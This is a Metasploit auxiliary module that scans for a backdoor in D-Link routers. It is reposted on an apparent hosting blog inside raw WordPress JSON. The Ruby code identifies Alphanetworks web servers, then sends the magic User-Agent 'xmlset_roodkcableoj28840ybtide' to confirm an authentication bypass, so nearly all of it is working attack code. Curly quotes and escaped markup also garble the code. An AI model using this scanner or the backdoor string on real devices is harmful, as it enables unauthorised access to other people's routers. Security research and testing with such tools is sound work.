##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report<\/p>\n
def initialize
super(
‘Name’ => ‘D-Link User-Agent Backdoor Scanner’,
‘Description’ => %q{
This module attempts to find D-Link devices running Alphanetworks web interfaces affected
by the backdoor found on the User-Agent header. This module has been tested successfully
on a DIR-100 device with firmware version v1.13.
},
‘Author’ =>
[
‘Craig Heffner’, # vulnerability discovery
‘Michael Messner <devnull[at]s3cur1ty.de>’, # Metasploit module
‘juan vazquez’ # minor help with msf module
],
‘License’ => MSF_LICENSE,
‘References’ =>
[
[ ‘URL’, ‘http:\/\/www.devttys0.com\/2013\/10\/reverse-engineering-a-d-link-backdoor\/’ ]],
# First documented in detail by Craig, but looks like it’s been known
# (at least to the Russians :-) ) since 2010 – see post at forum.codenet.ru
‘DisclosureDate’ => “Oct 12 2013”
)<\/p>\n
end<\/p>\n
def is_alpha_web_server?
begin
res = send_request_cgi({‘uri’ => ‘\/’})
rescue ::Rex::ConnectionError
vprint_error(“#{rhost}:#{rport} – Failed to connect to the web server”)
return false
end<\/p>\n
# Signatures:
# * httpd-alphanetworks\/2.23
# * Alpha_webserv
if res and res.headers[“Server”] and res.headers[“Server”] =~ \/alpha\/i
return true
end<\/p>\n
return false
end<\/p>\n
def run_host(ip)<\/p>\n
if is_alpha_web_server?
vprint_good(“#{ip} – Alphanetworks web server detected”)
else
vprint_error(“#{ip} – Alphanetworks web server doesn’t detected”)
return
end<\/p>\n
begin
res = send_request_cgi({
‘uri’ => ‘\/’,
‘method’ => ‘GET’,
‘agent’ => ‘xmlset_roodkcableoj28840ybtide’
})
rescue ::Rex::ConnectionError
vprint_error(“#{ip}:#{rport} – Failed to connect to the web server”)
return
end<\/p>\n
# DIR-100 device with firmware version v1.13
# not sure if this matches on other devices
# TODO: Testing on other devices
if res and res.code == 200 and res.headers[“Content-length”] != 0 and res.body =~ \/Home\\\/bsc_internet\\.htm\/
print_good(“#{ip}:#{rport} – Vulnerable for authentication bypass via User-Agent Header \\”xmlset_roodkcableoj28840ybtide\\””)
end<\/p>\n
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report def initializesuper(‘Name’ => ‘D-Link User-Agent Backdoor Scanner’,‘Description’ => %q{This module attempts to find D-Link devices running Alphanetworks web interfaces affectedby the backdoor found on the User-Agent header. This module has been tested successfullyon a DIR-100 device with firmware version …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59359","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59359","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59359"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59359\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59359"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59359"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59359"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}